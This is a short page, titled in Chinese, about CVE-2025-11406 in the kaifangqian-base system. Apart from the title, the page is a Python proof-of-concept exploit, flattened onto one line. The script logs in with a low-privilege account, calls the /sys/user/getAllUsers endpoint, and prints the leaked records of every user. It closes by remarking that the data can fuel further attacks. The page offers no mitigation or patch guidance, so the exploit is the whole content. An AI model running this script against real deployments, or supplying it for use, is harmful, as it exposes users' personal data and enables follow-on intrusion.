CVE-2025-11406：kaifangqian-base系统用户信息泄露漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11406 PoC - kaifangqian-base getAllUsers Information Disclosure This PoC demonstrates how a low-privileged authenticated user can retrieve all user information from the kaifangqian system. """ import requests import json import sys # Configuration TARGET_URL = "http://target-host:port" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/sys/login" GET_ALL_USERS_URL = f"{TARGET_URL}/sys/user/getAllUsers" # Low-privilege user credentials (obtained via registration or other means) USERNAME = "low_priv_user" PASSWORD = "password123" def login(session, username, password): """Authenticate and obtain session/token.""" login_data = { "username": username, "password": password } try: resp = session.post(LOGIN_URL, json=login_data, timeout=10) if resp.status_code == 200: result = resp.json() if result.get("code") == 200: token = result.get("data", {}).get("token") or result.get("data", {}).get("access_token") print(f"[+] Login successful, token obtained") return token except Exception as e: print(f"[-] Login failed: {e}") return None def exploit_get_all_users(session, token): """Exploit the getAllUsers endpoint to retrieve all user information.""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } try: resp = session.get(GET_ALL_USERS_URL, headers=headers, timeout=10) if resp.status_code == 200: data = resp.json() if data.get("code") == 200: users = data.get("data", []) print(f"[+] Exploit successful! Retrieved {len(users)} user records") print("[*] Sample leaked user data:") for user in users[:5]: print(json.dumps(user, ensure_ascii=False, indent=2)) return users else: print(f"[-] API returned error: {data.get('message')}") else: print(f"[-] Request failed with status: {resp.status_code}") except Exception as e: print(f"[-] Exploit failed: {e}") return None def main(): session = requests.Session() print("[*] CVE-2025-11406 PoC - kaifangqian Information Disclosure") print(f"[*] Target: {TARGET_URL}") # Step 1: Login with low-privilege account token = login(session, USERNAME, PASSWORD) if not token: print("[-] Cannot proceed without valid token") sys.exit(1) # Step 2: Exploit getAllUsers to leak all user information users = exploit_get_all_users(session, token) if users: print(f"\n[!] Total users leaked: {len(users)}") print("[!] This information can be used for further attacks") if __name__ == "__main__": main()